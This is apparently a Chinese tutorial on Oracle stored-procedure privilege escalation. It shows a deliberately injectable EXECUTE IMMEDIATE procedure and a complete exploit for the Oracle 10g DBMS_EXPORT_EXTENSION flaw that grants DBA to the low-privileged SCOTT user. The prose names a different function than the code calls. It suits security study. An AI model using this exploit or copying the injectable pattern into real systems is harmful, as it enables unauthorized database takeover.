0x01 Oracle存儲過程”缺陷”
在 Oracle 的存儲過程中,有一個有趣的特點:運行權限。運行權限分為兩種,definer 和 invoker。
definer 為函數創建者的權限,而 invoker 則是當前調用函數的用戶。運行權限在函數創建時就已經被欽定了,默認為 definer。
說白了,如果我們用低權限用戶去運行DBA權限用戶創建的存儲過程,我們在調用時就可以額訪問DBA資源,使用DBA的權限
Oracle 這樣做的初衷,實際上是為了用戶互相訪問資源時,避免用戶憑據的問題。當然也可以將函數的權限定義為 invoker,但需要顯式設置:
create or replace function Whoami return varchar2 AUTHID CURRENT_USER begin NULL; end;
因為具有這樣的特性,所以當存儲過程函數實現存在缺陷時,安全問題就產生了。
比如下面這里新建一個存儲過程
create or replace procedure SasugaOracle(msg in varchar2) as stmt varchar2(255); begin stmt := 'BEGIN DBMS_OUTPUT.PUT_LINE(''' || msg || ''') END;'; EXECUTE IMMEDIATE stmt; end;
EXECUTE IMMEDIATE 用於動態執行 SQL 語句。首先使用 DBA 用戶創建該過程並賦予所有人執行權限:
grant execute on SasugaOracle to public;
接着切換到普通用戶,只有 CONNECT 和 RESOURCE 權限,執行存儲過程:
修改一下傳入的參數,這里我們在原命令后新增了一條添加數據庫用戶的命令,這里添加的用戶名為latec0mer
然后我們查詢一下是否存在latec0mer這個用戶,可以看到我們上一條新增的命令是生效的。
類似的,如果 Oracle 的系統函數中存在同樣的缺陷,我們便有機會對其加以利用,提升權限,甚至執行系統命令。
0x02 Oracle 10g 經典提權漏洞
在 Oracle 10g 中, GET_DOMAIN_INDEX_TABLES 函數存在注入漏洞,該函數位於 DBMS_EXPORT_EXTENSION 包中,執行權限隸屬於 sys。
用scott/tiger登陸Oracle,scott 是oracle內建用戶,權限較低,我們就可以利用執行具有高權限的漏洞函數來達到提升數據庫用戶權限的目的。
sqlplus scott/tiger@orcl
查詢scott的當前角色
select * from session_roles;
可以看到scott只有CONNECT和RESOURCE兩個權限較低的角色
利用漏洞執行權限提升
Create or REPLACE PACKAGE HACKERPACKAGE AUTHID CURRENT_USER IS FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env SYS.odcienv) RETURN NUMBER; END; /
Create or REPLACE PACKAGE BODY HACKERPACKAGE IS FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env SYS.odcienv) RETURN NUMBER IS pragma autonomous_transaction; BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT'; COMMIT; RETURN(1); END; END; /
DECLARE INDEX_NAME VARCHAR2(200); INDEX_SCHEMA VARCHAR2(200); TYPE_NAME VARCHAR2(200); TYPE_SCHEMA VARCHAR2(200); VERSION VARCHAR2(200); NEWBLOCK PLS_INTEGER; GMFLAGS NUMBER; v_Return VARCHAR2(200); BEGIN INDEX_NAME := 'A1'; INDEX_SCHEMA := 'SCOTT'; TYPE_NAME := 'HACKERPACKAGE'; TYPE_SCHEMA := 'SCOTT'; VERSION := '10.2.0.1.0'; GMFLAGS := 1; v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(INDEX_NAME => INDEX_NAME, INDEX_SCHEMA=> INDEX_SCHEMA, TYPE_NAME => TYPE_NAME, TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK => NEWBLOCK, GMFLAGS => GMFLAGS); END; /
現在我們再來看看權限
成功從普通用戶提權到dba用戶。
ps:經測試,oracle10.2.0.4以上版本沒這個安全漏洞